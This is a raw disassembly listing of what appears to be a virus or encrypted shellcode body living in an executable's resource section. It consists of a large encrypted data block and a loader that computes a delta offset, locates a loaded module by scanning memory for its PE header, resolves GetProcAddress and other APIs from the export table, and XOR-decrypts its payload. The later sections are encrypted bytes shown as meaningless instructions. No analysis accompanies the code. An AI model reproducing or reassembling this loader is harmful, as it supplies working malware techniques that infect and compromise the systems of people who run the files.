dd 707B7Dh, 54164A45h, 712B222Bh, 1C46137Ah, 0A01B191Bh
dd 0FBB6E3FEh, 0D2CBC8C7h, 0ADB2DDC8h, 0C0D4D9F3h, 0D8D6CCCAh
dd 657D244Dh, 5A437177h, 325F5312h, 7938292Eh, 153C6E6Fh
dd 0FCE81916h, 0D3EDF1FEh, 0D096D5C6h, 0A9BEB4A3h, 8C88BDFAh
dd 708691D2h, 79626F6Fh, 1002504Ch, 26274849h, 7303D36h
dd 755B4C50h, 0E4EFD388h, 0C6CFF4F9h, 0ACDF94D5h, 0B9B2ECA6h
dd 9E8FC49Bh, 6168DC9Eh, 0C6A7C75h, 4A594A0Ah, 393C2262h
dd 1B02323Fh, 0F75E3D52h, 0A2E2E5EBh, 0D8F9AEAFh, 0E8A3CEDFh
dd 0C0BBA6B3h, 0D4838393h, 797C6222h, 5B42727Fh, 2F7D140Dh
dd 78772927h, 194E102Bh, 0E1F25C09h, 80BFF1FFh, 0CB91D8E3h
dd 0A4AFA8E2h, 0E2EBFDBFh, 4F2A8D1Fh, 8B01823h, 179FDEC7h
dd 7881B83Eh, 30AD38h, 68D07879h, 52E248DEh, 0E891CED2h
dd 0FA15EDE5h, 0BA4F618Dh, 0EA9D259Ch, 0D0BE4FA8h, 201E1412h
dd 38362C2Ah, 504E4442h, 68665C5Ah, 807E7472h, 98968C8Ah
dd 0B0AEA4A2h, 0C8C6BCBAh, 0E0DED4D2h, 0F8F6ECEAh, 100E0402h
dd 28261C1Ah, 403E3432h, 58564C4Ah, 706E6462h, 88867C7Ah
dd 0A09E9492h, 0B8B6ACAAh, 0D0CEC4C2h, 911B5D1Fh, 0A65B7792h
dd 18164C33h, 98481A1h, 47463C7Ah, 0ED4A17E5h, 0CF797439h
dd 408D82C9h, 8C82D811h, 0B2B2F699h, 0D094F7D3h, 0B265F091h
dd 444D7EEh, 19B8819Bh, 0BDBF2C6Ah, 500E7DE8h, 0AAE559B1h
dd 0E1A7965Ah, 10968848h, 0F08C5327h, 0C8A254BAh, 0C0B6D4D2h
dd 75F6ECEAh, 502C2087h, 301F451Ah, 80BD3846h, 0A7A1AE4Eh
dd 3057EAE7h, 5171BF7Ah, 82691991h, 0A855ACEAh, 5F32B43Dh
dd 0EC0E5FDAh, 9D770210h, 18562E2Eh, 442E1EA1h, 4B74173Fh
dd 2ED34420h, 262D3496h, 0E48EBE01h, 4394639Eh, 0D0CC4BB1h
dd 27299B22h, 0DB20CF1Dh, 483F5677h, 6B1D4C12h, 0BDB9EF1Eh
dd 500E7DD0h, 51E8D99Dh, 807E7432h, 0A47E8C8Ah, 3BAEA4A2h
dd 88FF323Fh, 17AB3CD2h, 0E01E1315h, 930E0402h, 681F92A7h
dd 484B3432h, 7AF6D1C3h, 0EC856422h, 0B108F185h, 2F5D94D2h
dd 0F88F3E2Fh, 5E5B4DC2h, 0E69CE3h, 0FEF4F1h, 93D5C539h
dd 302EA4B1h, 0A5AE6E3Ah, 63A1ABACh, 384FC6FFh, 13588782h
dd 0A7A690E0h, 0C0BFB336h, 0C8AC4FCAh, 0D6AEBE2h, 8306FCFAh
dd 0C84E1850h, 0C7C9D2E2h, 69E4C141h, 0AE655C1Ah, 76FE22h
dd 81E28C73h, 0C4805D22h, 392DFCB9h, 61DF9C59h, 2729330Bh
dd 54F785DDh, 5D265056h, 88156DDEh, 57ACB5C9h, 706ED3EDh
dd 0F0071A7Ah, 0AFACA76Ch, 0B8B6072Fh, 0EA4D92C2h, 63E3A9DAh
dd 215E4B8h, 0E9150681h, 0CE5CCC73h, 0FD45C3C5h, 601E6DF8h
dd 0B6E9C7h, 140A8B79h, 57A69C9Ah, 80871E07h, 8D3E9CCAh
dd 0F3111B1Ch, 483F567Fh, 8A9B9B12h, 3B366C13h, 0D31D6046h
dd 0B3555E9Ah, 6376C27Dh, 0B85F0C98h, 948A65F1h, 0ECDA95BEh
dd 0BBFAD8FBh, 791F07AAh, 0ABD90BF9h, 0A91868C7h, 2E7B9CC9h
dd 0D9603891h, 0D1553D99h, 9A80885h, 15BC4269h, 3990D806h
dd 88275739h, 69F8A829h, 58178909h, 990078F9h, 151162D9h
dd 0C94848DBh, 456164A9h, 8770188Bh, 0D0B71617h, 0D94FC79Ah
dd 9E414B4Dh, 31C20E49h, 0F111A0Dh, 0C6CFD39h, 0D60BFC4Ah
dd 0ADBED3D5h, 500E6093h, 7057E43Ch, 64BE9670h, 0FE748E89h
dd 0E8A8CE09h, 37334652h, 0E81C572Dh, 0FD9C3D6Dh, 0E5E3EC5Ah
dd 0D2A6E3E5h, 0F0354731h, 89D34E1Ah, 0DA6E2446h, 0E0EC5B91h
dd 5A1E3ECAh, 8AED9A9h, 25032CD3h, 0E95E2325h, 84FEF4F2h
dd 0C91B78D8h, 0DBE4DAC2h, 0F043D7CCh, 0E05E5452h, 0BBC98EC1h
dd 0A4B2390Fh, 2D519CDAh, 0C0FE8083h, 58D6CCCAh, 905EE796h
dd 39830B50h, 231E5426h, 37372C2Ah, 504EB2C6h, 0E333E45Ah
dd 2BD59C9Eh, 0A1003103h, 581EA4E2h, 4D311710h, 0E09EE0E3h
dd 0F9F6ECEAh, 2994B98Bh, 63521C5Ah, 740FB1C5h, 58564C0Ah
dd 17D66662h, 0FDB0831Eh, 0C4F92C97h, 0DE1D8221h, 0B6CEC47Ah
dd 58E5A871h, 85095EAFh, 1856383Bh, 382E2422h, 402BB182h
dd 97482152h, 38425DEFh, 908E8482h, 6D25249Eh, 0C5CAB4BAh
dd 203B4F72h, 7A14FE2h, 4832CD7Fh, 201E1712h, 8832582Ah
dd 0DBE5EEABh, 285FCADFh, 0ABB1FF72h, 64DE0542h, 849F2155h
dd 0C8C5BCFAh, 0BFAAD4D2h, 7928B52h, 8EB38D34h, 83265C23h
dd 273E348Ah, 0D1EEE72Eh, 0DB6E6444h, 7778C192h, 48BE246Dh
dd 47495065h, 68A8FD21h, 4380C925h, 95755F63h, 1856383Bh
dd 0F2D9F6D5h, 48463C39h, 0F7B64027h, 0C8899394h, 6C276C9Dh
dd 10C06365h, 6BD8A14Dh, 175D675Bh, 0C9706169h, 0C02DFCBAh
dd 0D7E25C9Bh, 78021DAFh, 504E4042h, 0D074285Ah, 4880B45Bh
dd 589E3421h, 805A0D6h, 0AF2D44CFh, 0D15B2379h, 0F0F6ACDEh
dd 650E0402h, 79B9C50h, 403E7406h, 71EE0D3Eh, 7AA74D7Ah
dd 0C8B257DFh, 0A37A5492h, 8C9D09A0h, 6065C482h, 6D6C766Bh
dd 0BEC0DDh, 1256BCA0h, 701A0FA7h, 0F020963Ah, 0E5A9A9B0h
dd 7836585Bh, 908E8492h, 0E1169BEEh, 0B506D218h, 687DAA36h
dd 30DD4E0Ah, 8ABB7551h, 0D71E542Bh, 78021DAFh, 504E6442h
dd 0D86F295Ah, 0A9FB7E2Ah, 3296CCBEh, 702F1CC4h, 0FCF7394Dh
dd 0E09ED492h, 0FB82ECEAh, 1A26C082h, 681235BFh, 0C9955232h
dd 186FCAF7h, 0F599CF62h, 88C6484Bh, 0E09E9492h, 0E806A5DFh
dd 0E4E741C0h, 1F4CDC9Ah, 40CAC577h, 18168C0Ah, 80255122h
dd 62C33682h, 0CA5E1466h, 0C0105181h, 15799CB3h, 0A8E6A8ABh
dd 0C0BEB5B2h, 0F166CEBEh, 0C4C441E8h, 0ECC6FCBAh, 0ABB1E11h
dd 5E366C1Eh, 0D1F622E9h, 59E3ABAAh, 807E3446h, 0ED968C88h
dd 0BA6610A0h, 88F2961Fh, 6975B2D2h, 0B8CF4E57h, 3432BC02h
dd 0DF8D1C1Ah, 0A05B7h, 5856444Ah, 87021062h, 0C8B24DFFh
dd 0A09A9492h, 8BDD9AAh, 0FB4BCE7Ah, 42E69CEEh, 8509B919h
dd 1856383Bh, 302E2C22h, 0F0202D4Fh, 0C554B4D1h, 78365841h
dd 50BD2FE4h, 0CEB37730h, 0CAA69D0Ah, 98E2E76Fh, 0F30A24E2h
dd 3C2D59F0h, 8B781452h, 0C07A9DDh, 404E4402h, 0D0005C5Ah
dd 830AB4F3h, 929E480Ah, 0F09A8F07h, 0C76DDABAh, 0D4F15164h
dd 0F5DECAAh, 503A3587h
dd 28261C1Ah, 0F0374072h, 71D34E1Ah, 0DA6E2456h, 0BCB7F98Dh
dd 809E94D2h, 3E06ACAAh, 0D4CAC6B7h, 62189357h, 40CADD57h
dd 929B850Ah, 562E641Bh, 4DBABC91h, 60EE5327h, 388923EAh
dd 0A10B7328h, 0A8A6DCAEh, 0A6BEB4F2h, 0ADE7AA72h, 96C750E0h
dd 21E4C51h, 602A3F97h, 3BD6EC2Ah, 0A7C6F4E8h, 28526DDFh
dd 80FE7472h, 2894F98Ah, 990B2E24h, 0AEC6FC8Eh, 0E5225479h
dd 0F846EB9Fh, 50F14B82h, 19A3EBB0h, 403E7406h, 2D564D4Ah
dd 7A2ED469h, 0C8B255FFh, 0AF753E92h, 783514CCh, 0E4E761C8h
dd 4380DC9Ah, 0F754F542h, 58223D8Fh, 322E2422h, 0BF69493Ah
dd 206A65D7h, 7C766C6Ah, 2094F182h, 8323965Ah, 4ABEF486h
dd 98E2FC6Fh, 0E00E25E2h, 8960449Ch, 0CB1EA4B9h, 32769C22h
dd 107A6FC7h, 0ED91F65Ah, 803E4043h, 989E8C8Ah, 8C8B4D7h
dd 6DCC5439h, 0E09EE0F8h, 0F946478Ch, 58BE0CE9h, 1C0C9910h
dd 0B7943472h, 18627DCFh, 606E6462h, 0FDF3CD7Ah, 2326F2B7h
dd 9213A652h, 0B6CE84F6h, 4226EF71h, 397449DBh, 9DE10C4Ah
dd 306E1013h, 48663C3Ah, 17EF4B27h, 0C0107781h, 35849C8Bh
dd 0A8E6A8B0h, 0CABD5072h, 98E2E66Fh, 0D94582E2h, 483F7647h
dd 0AADF9E12h, 780FA68Fh, 0E0E52242h, 41E35E02h, 2A7E3446h
dd 0ACA7097Dh, 0B0ADA4E2h, 4CC9BDBAh, 0E0DED455h, 73928B52h
dd 21838F24h, 0A9265C2Eh, 403E34C3h, 5897BB48h, 56D6462h
dd 0ECE1C47Fh, 1835BA15h, 0B8B6ACAAh, 0D6BB6FA4h, 0D6D64BCh
dd 64465F94h, 0B310836Dh, 9B48E411h, 7C77B9CDh, 605E5412h
dd 38036D6Ah, 0A4BF0175h, 0A8A69CDAh, 0E6CABCB2h, 0B45B74ACh
dd 0C4DF6115h, 806FCBAh, 0B5111612h, 5ED726EBh, 2587C0E9h
dd 4CDE3A52h, 6BD51276h, 329E3C99h, 8C8AA49h, 4DC4E1E2h
dd 0E09EE0F9h, 0FB1D478Ch, 0E7A4CDB2h, 68122D9Fh, 403E3432h
dd 0E87638CAh, 59EB4E65h, 49863C4Eh, 29938E72h, 0BAB688A2h
dd 90FAED67h, 0EB021CDAh, 0ABFA3072h, 7EBC6DBAh, 3ACEDB9Ah
dd 872159Fh, 97F53252h, 38425DEFh, 908EA482h, 5FF5E89Ah
dd 808A8537h, 0D8D6CCCAh, 7E390C2h, 806FF3Dh, 901B6012h
dd 0CBDD86BAh, 0DDC583C9h, 682665D8h, 0C1F7B559h, 92CE3C76h
dd 0F09A8D27h, 4D3116BAh, 0E09EE0E3h, 0F8B6ECEAh, 0A8680876h
dd 0AD2CDF4Ah, 407E001Bh, 0E03046A1h, 0D564849Dh, 88C64853h
dd 25693FF4h, 0B8F6989Bh, 0D1CEC4C1h, 6D11AFAEh, 0BEC0C3h
dd 38160C0Ah, 0F7D92956h, 48463C39h, 0F0EE5126h, 0F38587C0h
dd 0A0B0F4Dh, 83A6DCA3h, 3CF63D7Ah, 5D2105F9h, 0F0AED0D3h
dd 886FCFAh, 0A5931A67h, 38761803h, 0D00E4CC8h, 90155FA3h
dd 0C4B370FFh, 59969CAEh, 3B1EAC42h, 0AEC05F11h, 861EE56Ah
dd 774E8A41h, 10B66C82h, 0C9241C1Ah, 0EB669F54h, 5E2385CFh
dd 0B05FDC04h, 4B36D71Ch, 9C1B1938h, 4FB6EC9Eh, 90FAF547h
dd 0E8E6DCDAh, 57F881E2h, 0F34EF421h, 187DAF3Bh, 986DC411h
dd 59FCD9D9h, 0ED776C2Ah, 90CEBD00h, 0EC2DA59Bh, 7D37B096h
dd 0D896DCA7h, 0C9685969h, 8D2DFCBAh, 205E2D90h, 0C07A9DDh
dd 500E4402h, 6A125C5Ah, 42D5AC85h, 0CFC08C8Eh, 89001921h
dd 0C7C6BCFAh, 0E0DF0D56h, 0F8FB04EAh, 55450402h, 64635248h
dd 4100601h, 0A7560006h, 305BECF7h, 3603F57Ah, 0F39ED4ABh
dd 0BB8AF421h, 0F8BD3B1Ah, 0D29F51h, 0FF01020Eh, 21B09981h
dd 33752462h, 0CDCF3078h, 601E6D90h, 0F17E2E69h, 0D0B74207h
dd 80D5179Ah, 0C03E074Dh, 0D3ECCCAh, 7B111B14h, 483F5A47h
dd 0E9F64212h, 0B3C9D3DCh, 1077E2D7h, 602CD75Ah, 0AB723E71h
dd 9D7F0F44h, 0B1CE2CADh, 4CC9BCBAh, 0E0DED588h, 0C15C59E9h
dd 0A50D0442h, 28662568h, 4FD6089Eh, 5856EECFh, 7428E962h
dd 0B1F4F951h, 0A69D94D2h, 4E3044FAh, 6D4D3B3Dh, 0E8A6E57Ch
dd 3BF581F2h, 9B19004Dh, 302E2539h, 0DD7F30D1h, 601E6DF4h
dd 797BE965h, 158D8482h, 0A8E6A5E8h, 3F8635D4h, 2453C3EFh
dd 7BEEE4E2h, 4B2DFEBAh, 69F64426h, 1C9D3DCh, 1077E2FFh
dd 8CE3535Ah, 837E7472h, 0D8AF260Fh, 0C22BA7A2h, 43C6FC83h
dd 0EC99FFD2h, 0F83B6EE5h, 57350402h, 0ECA51312h, 0C33E3432h
dd 1F554E8Ah, 2EB6776h, 0DA863C43h, 1E2B6BC2h, 47B6EC93h
dd 90FB8C57h, 286386DAh, 4971FDh, 84FF0C0Ah, 0C2E2422h
dd 0DCC333C5h, 0E05E5452h, 0FD797954h, 908E8409h, 83A7DA11h
dd 28EE80F1h, 27293912h, 0C94859DBh, 7F73FCBAh, 19B49111h
dd 0BD352C6Ah, 500E7D30h, 51ACD9D3h, 80F57432h, 0A15409B1h
dd 0B8DCA4E2h, 0F1003981h, 89ACD492h, 0F8F6ECD7h, 0F8397672h
dd 28261C05h, 0CBC27ABFh, 5B54678Bh, 0F5557420h, 88C645B0h
dd 641D98E7h, 378753BAh, 0B1D2E086h, 6725C731h, 40C76677h
dd 0AD9D6C0Ah, 306E1D50h, 0B7B04AD2h, 60F735ADh, 0DF66C6Ah
dd 9CC9AF8Ch, 0EF9D95E8h, 0FC3CBBBAh, 91293335h, 0E5C61EDh
dd 348D0305h, 11B99536h, 0C7362C0Eh, 0BB31BBBDh, 4C2CDD66h
dd 607E7412h, 1356BFC4h, 352980AEh, 0C8868514h, 0C4EB6D5Fh
dd 7DF5ECEAh, 104E3D70h, 6683B97Ch, 23DF219h, 5414675Eh
dd 989522A4h, 88D4FDBDh, 0A09B9492h, 0FE3FACAAh, 13909B3Eh
dd 0D0A86957h, 0FFA8F4B2h, 5823709Fh, 0CFD6A722h, 48FDB835h
dd 0E5D75452h, 78365538h, 6FD884E8h, 0E893280Fh, 0CF7E31B2h
dd 0D8D6684Eh, 0A02ECFE2h, 580596AAh, 20761578h, 6EF62C2Ah
dd 6512D1BDh, 90E55C1Ah, 0BEFA7B8Dh, 11968C8Fh, 0F097F227h
dd 924B31BAh, 6DDE94EBh, 0B8CF8E7Fh, 7A5C5502h, 0BDD94C1Ah
dd 407E01B6h, 57A9B4C9h, 706B68E6h, 7786167Ah, 0E0A7C227h
dd 382353AAh, 53CE84F7h, 6CE92322h, 0FEF007h, 217C8983h
dd 0F91D2462h, 1817FF39h, 315A3E03h, 4120D995h, 57184C2h
dd 0A8E6A9FAh, 44B17437h, 0D8D6C81Bh, 75672DD1h, 846C594h
dd 484F4543h, 38392C35h, 0F0DBBB12h, 0ED661C6Fh, 0AFA7BB2h
dd 11968C8Eh, 0F097D627h, 57E7FBAh, 6BDED4BBh, 7D01D4A1h
dd 104E3033h, 38261C1Ah, 0C53D3247h, 58165C27h, 0B16DB651h
dd 69718D8Dh, 99E4111Bh, 830EACEAh, 5BCEC4E6h, 6DE5E091h
dd 0BEE49Fh, 0D915DE39h, 0D1D9D5D5h, 7130B9B3h, 6F9D5412h
dd 817027DDh, 0C303B161h, 0EB119382h, 896EB7A6h, 0DBFE0DA1h
dd 0AFD46532h, 0F168958Dh, 5A9D0966h, 0D8442D26h, 0DB720FC9h
dd 2A654818h, 0C83AF962h, 0BB4F7B75h, 0DA2B9F63h, 0BC6FC83h
dd 0F0FA8059h, 7A792CD9h, 100E04BAh, 0C3E997D9h, 0E83B939h
dd 0A4560C72h, 0B95DBBE9h, 0FAE740D6h, 0D7E4A894h, 129680A8h
dd 3CBA98FEh, 3592F2E6h, 0E88BF4CEh, 199DC5E9h, 7576611Fh
dd 754D483Ah, 600C1701h, 8745E965h, 93057B7Dh, 0E6EFCBA7h
dd 0E63ABBF1h, 0E5293335h, 0BEBBA7B5h, 0F71D78F5h, 7723EBEDh
dd 37041F69h, 0AFB154C6h, 3B3661A5h, 4713B26h, 6769738Fh
dd 9D467F91h, 0C7394344h, 1F202C56h, 1024DF15h, 100E0414h
dd 0D7D973F2h, 403EDCCDh, 0D90B4C4Ah, 3041EE8Fh, 8BBB957Ah
dd 5FFA9492h, 0CA032798h, 0B4CE84FBh, 6980FE53h, 0FA4B9CCh
dd 18152A8Fh, 0C70AF22h, 0C920E239h, 6F1B0469h, 78757AEFh
dd 86CD7382h, 0A8A6BC9Ah, 0C3B731BDh, 9B20CCCAh, 0BE65E6BEh
dd 0F482F3DAh, 0C31E1410h, 39CFAD26h, 5F4E4443h, 6864B2DCh
dd 7EB39C72h, 1A997375h, 0B0AEA641h, 0CBD6F631h, 0E066D898h
dd 0A9F6EDEAh, 0EFE4EAEAh
dd 7B32CE5h, 0F13E7406h, 68E37C6Ah, 1A6E2456h, 0D04F825Ah
dd 747680EAh, 3D495340h, 125ACB10h, 7DD73E09h, 0BEC0C3h
dd 1E7EE9E1h, 692E2422h, 48463A52h, 0D4B60C52h, 0F2899380h
dd 0D0BAAD07h, 82221A9Ah, 0C0FE809Bh, 0ECFF4942h, 100CE4A2h
dd 3C37790Dh, 20161452h, 31432C2Ah, 6465F9C2h, 1C675C1Ah
dd 0B1FB83B7h, 9B96CCBEh, 0C4AFA4A2h, 0E17B3CA1h, 0E5DE94E6h
dd 45765C9Eh, 104E3028h, 0A881681Fh, 0A1F8Fh, 0C622494Ah
dd 445FE195h, 88867C3Ah, 0A9EA1492h, 8C9F112Ah, 0A7CCC482h
dd 46435F53h, 0FEB4CBh, 0E7E283E2h, 0CDEECCDDh, 6DAEC3C5h
dd 0EB5E5450h, 384F1AF7h, 6C506C82h, 2CA96365h, 0C0BEB6B9h
dd 0E1A47941h, 0AE65E4A2h, 0E0D8FFC6h, 0DFE1E9CDh, 39C3AE25h
dd 1ACF4442h, 68663C7Eh, 0D280FF92h, 8CEC8FDCh, 47BEDEA1h
dd 88F28D3Fh, 0E0DED4D2h, 75F899FAh, 503A38B7h, 45AB971Ah
dd 0B33E7422h, 57EF1BEEh, 0FD6E646Bh, 0C8967CCFh, 113B6792h
dd 4BB44FAAh, 0E14B3366h, 0E8E69CEEh, 0FEEF4F2h, 1816A48Eh
dd 185DDB22h, 0B7B753D2h, 0C6CBDFADh, 0FD762C53h, 20A8B50h
dd 23A69C9Ah, 8087C607h, 0C89C47CAh, 90CAAE63h, 23E6FCFAh
dd 226D1C58h, 4A35E519h, 3DC37F56h, 0E3661C4Ah, 0C06E19FFh
dd 13C0FE8Ah, 152D809Eh, 0C886ACD7h, 8D7957D2h, 0F8F6ECEAh
dd 11067E89h, 0DF251450h, 0C5B5C3B5h, 581675CCh, 445FE195h
dd 88C67C3Ah, 0A2EA9492h, 0CAB5B45Dh, 59FEEDCEh, 0A8DF726Fh
dd 288D7FF2h, 9DE13C0Bh, 306E1013h, 48463C7Ah, 78A95626h
dd 84C2843Bh, 7BD77B7Dh, 80D59F96h, 91B2C699h, 87723F9Ch
dd 0CC5B69BBh, 0FB06BCCEh, 2F404BB6h, 0BFBBBE1Bh, 504E4590h
dd 5C49C960h, 860B7432h, 0CEEE5EE3h, 0E026B696h, 170A5445h
dd 6B842B2Dh, 0B2F5E0A0h, 218BF312h, 28265C2Eh, 0CD2E3432h
dd 4B234A0Bh, 49C0E9EBh, 0D857C3Ah, 0A0DE84FFh, 0B8DB0B29h
dd 0FBCEC4C2h, 5D19F499h, 0BECD8Ch, 18448B83h, 76A12422h
dd 79C3CB1Ah, 605E1466h, 0CF66C6Ah, 0B766D685h, 0F2596363h
dd 0F9103939h, 0DB35CC8Ah, 7BC6AF6Bh, 8D8DECB0h, 205E2D64h
dd 4B3E6613h, 5804CD41h, 0EB761E5Bh, 0B7E2C11h, 0D8AFF60Fh
dd 9492CCA2h, 8AC7BCBAh, 0A3DF8DDAh, 0D76366BAh, 0E70E4436h
dd 68122D9Fh, 403E3432h, 5B50385Ah, 307E09EFh, 7F86CA7Ah
dd 0E0AAA517h, 0BAB6ACAAh, 2EDAB1C2h, 0D9632B1Ch, 0FEB4C6h
dd 6D16080Ah, 9BAE24h, 0BF467C0Eh, 206A65D7h, 78366C6Ah
dd 1A85F182h, 2649E9Dh, 375C62B0h, 0DF5CC521h, 0F24426D0h
dd 3BF11E2Ch, 29570C0h, 6034A34Eh, 6918F9C1h, 67665C1Ah
dd 7F85FCF6h, 0EA237375h, 4FAEE49Bh, 88F3782Fh, 8E6B2BD2h
dd 7F6ACD3h, 503B3897h, 72AB911Ah, 0CD3E740Bh, 186F2EDFh
dd 1A3C3562h, 0DE33837Ah, 5F9ED4ABh, 0F883143Fh, 867B3BC2h
dd 17E69CE3h, 40CBC867h, 56A3810Ah, 0CF2E641Ah, 87F6E8Fh
dd 0F5A10252h, 783659DEh, 0A9D82101h, 6BA69CDAh, 0C0BEB45Ah
dd 0D9BC91CAh, 0C3A70963h, 0F85EFCBAh, 0A09BD51Dh, 0BD366C3Fh
dd 98CD8782h, 0A969ACA5h, 0C06BF4F7h, 88AB4F8Ah, 0C5AE8EA2h
dd 0B447DAA6h, 91B2D8F6h, 1096FF9Fh, 0EFF1FBC6h, 56CE196Fh
dd 0A8C1CBC9h, 0A7A9B398h, 5D914A03h, 9AB22A02h, 0A09EB12Ah
dd 1D5ECCAAh, 0A5313B3Dh, 0CCA257E3h, 4E4B79C2h, 93164C32h
dd 0B1482C72h, 3B443A00h, 60360277h, 0F376936Ah, 0C28EEE46h
dd 503363CAh, 43BEF487h, 0E657C40Eh, 0ACD1DBBEh, 0CE85FF8Fh
dd 0DB35FC16h, 47DED3D5h, 31B1BBBDh, 6812E499h, 31957472h
dd 9896A332h, 0B0BE4CA2h, 0E804BCBAh, 0E0EE6CD2h, 0FB1EECEAh
dd 0D20E0402h, 7CAB1C3Eh, 6EF33816h, 2456B4C9h, 7086047Bh
dd 3867C7Ah, 0FDAEB0C6h, 5537B621h, 0D08EF0D1h, 1703E532h
dd 43C950Dh, 1F170E0Ah, 0CC2D2124h, 9307AD7Eh, 94E9034Ch
dd 6CFDFCECh, 71h dup(0)
assume ds:_data
; =============== S U B R O U T I N E =======================================
public start
start proc near
var_C = dword ptr -0Ch
var_4 = dword ptr -4
call $+5
push ebp
mov ebx, [esp+8]
mov ebp, [esp+8+var_4]
sub [esp+8+var_4], 5FB5h
and ebx, 0FFFFF000h
sub ebp, 401005h
loc_1009A22: ; CODE XREF: start+3Dj
cmp dword ptr [ebx+4Eh], 73696854h
jnz short loc_1009A37
mov eax, [ebx+3Ch]
add eax, ebx
cmp word ptr [eax], 4550h
jz short loc_1009A3F
loc_1009A37: ; CODE XREF: start+29j
sub ebx, 100h
jmp short loc_1009A22
; ---------------------------------------------------------------------------
loc_1009A3F: ; CODE XREF: start+35j
mov edx, [eax+78h]
add edx, ebx
mov esi, [edx+20h]
mov ecx, [edx+18h]
add esi, ebx
push ecx
loc_1009A4D: ; CODE XREF: start:loc_1009A74j
lodsd
add eax, ebx
cmp dword ptr [eax-1], 74654700h
jnz short loc_1009A74
cmp dword ptr [eax+3], 636F7250h
jnz short loc_1009A74
cmp dword ptr [eax+7], 72646441h
jnz short loc_1009A74
cmp dword ptr [eax+0Bh], 737365h
jz short loc_1009A79
loc_1009A74: ; CODE XREF: start+57j start+60j ...
loop loc_1009A4D
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_1009A79: ; CODE XREF: start+72j
sub [esp+0Ch+var_C], ecx
mov esi, [edx+24h]
pop ecx
add esi, ebx
movzx eax, word ptr [esi+ecx*2]
mov edi, [edx+1Ch]
add edi, ebx
mov esi, [edi+eax*4]
add esi, ebx
call near ptr loc_1009A9F+2
inc ebx
insb
outsd
jnb short near ptr loc_1009AFD+2
dec eax
popa
outsb
db 64h
insb
loc_1009A9F: ; CODE XREF: start+90p
add gs:[ebx-1], dl
start endp ; sp-analysis failed
setalc
mov [ebp+402407h], eax
call near ptr loc_1009ABB+1
inc ebx
jb short loc_1009B17
popa
jz short loc_1009B1A
inc ebp
jbe short near ptr loc_1009B1C+1
outsb
jz short near ptr loc_1009AFA+2
loc_1009ABB: ; CODE XREF: .rsrc:01009AAAp
add [ebx-1], dl
setalc
mov [ebp+40240Bh], eax
call sub_1009AD7
inc edi
db 65h
jz short loc_1009B1A
popa
jnb short sub_1009B45
inc ebp
jb short near ptr sub_1009B45+1
outsd
jb short $+2
; =============== S U B R O U T I N E =======================================
sub_1009AD7 proc near ; CODE XREF: .rsrc:01009AC5p
; FUNCTION CHUNK AT 01009B55 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 01009B9C SIZE 00000025 BYTES
; FUNCTION CHUNK AT 01009BF4 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 01009C28 SIZE 00000029 BYTES
push ebx
call esi
mov [ebp+40240Fh], eax
call sub_1009B2A
test eax, eax
jz short loc_1009B0A
push eax
call dword ptr [ebp+40240Fh]
test eax, eax
jnz short loc_1009B04
lea eax, [ebp+401155h]
loc_1009AFA: ; CODE XREF: .rsrc:01009AB9j
mov dl, [eax-1]
loc_1009AFD: ; CODE XREF: start+98j
call sub_1009B45
loc_1009B02: ; CODE XREF: sub_1009AD7+92j
jmp short loc_1009B55
; ---------------------------------------------------------------------------
loc_1009B04: ; CODE XREF: sub_1009AD7+1Bj
call dword ptr [ebp+402407h]
loc_1009B0A: ; CODE XREF: sub_1009AD7+10j
pop ebp
retn
sub_1009AD7 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_1009B0C: ; CODE XREF: sub_1009B2A+2p
pop edx
push 0
push 0
push 0
push 0
; ---------------------------------------------------------------------------
db 68h, 1
; ---------------------------------------------------------------------------
loc_1009B17: ; CODE XREF: .rsrc:01009AB0j
add [eax+eax], al
loc_1009B1A: ; CODE XREF: .rsrc:01009AB3j
; .rsrc:01009ACBj
mov eax, esp
loc_1009B1C: ; CODE XREF: .rsrc:01009AB6j
push 0
push eax
push 0Ch
mov eax, esp
jmp edx
; ---------------------------------------------------------------------------
push esi
push esp
pop edi
xor eax, [eax]
; =============== S U B R O U T I N E =======================================
sub_1009B2A proc near ; CODE XREF: sub_1009AD7+9p
xor ecx, ecx
call loc_1009B0C
lea edx, [ebp+401125h]
push edx
push ecx
push ecx
push eax
call dword ptr [ebp+40240Bh]
add esp, 20h
retn
sub_1009B2A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_1009B45 proc near ; CODE XREF: .rsrc:01009ACFj
; sub_1009AD7:loc_1009AFDp ...
mov dh, dl
mov ecx, 12B2h
loc_1009B4C: ; CODE XREF: sub_1009B45+Cj
xor [eax], dl
inc eax
add dl, dh
loop loc_1009B4C
retn
sub_1009B45 endp
; ---------------------------------------------------------------------------
db 30h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_1009AD7
loc_1009B55: ; CODE XREF: sub_1009AD7:loc_1009B02j
mov bl, 0C5h
adc ah, dl
mov al, 20h
push eax
add edx, ds:70000464h
mov al, ds:74B8A553h
rol al, 1
lock ja short loc_1009B02
add eax, 4050F2D2h
jno short loc_1009B9C
adc edx, gs:[eax]
nop
dec ebp
inc ebp
mov [eax+eax*8-50h], eax
rcr ecx, cl
int 0CDh ; used by BASIC while in interpreter
xor esp, 40h
xor cl, dl
mov [eax], gs
; END OF FUNCTION CHUNK FOR sub_1009AD7
; ---------------------------------------------------------------------------
db 0Fh, 22h, 50h
dd 851FEF80h, 0D0E0541Bh, 9F7FD8C1h, 50202444h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_1009AD7
loc_1009B9C: ; CODE XREF: sub_1009AD7+9Aj
cmp byte ptr [ebx], 0A7h
add al, 2Ah
xor [ebx+70306813h], ah
nop
enter 0FFFFA579h, 4Bh
movsb
lock loopne loc_1009C28
jns short nullsub_3
mov al, ds:9F306AD0h
add eax, 5060D44Bh
add eax, 94EF70h
; END OF FUNCTION CHUNK FOR sub_1009AD7
; ---------------------------------------------------------------------------
db 8Fh, 5Fh, 2Fh
dd 90D5BD97h, 0DB20B0D0h, 16EF096Fh, 3D217040h, 90202000h
db 4Dh, 65h
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
db 0B0h, 13h, 0B5h
dd 3C2392BFh, 0FA9CBB20h, 9E0C3C8h, 831250Dh, 7B537000h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_1009AD7
loc_1009BF4: ; CODE XREF: sub_1009AD7+162j
mov ecx, esp
jmp near ptr 680F6CC2h
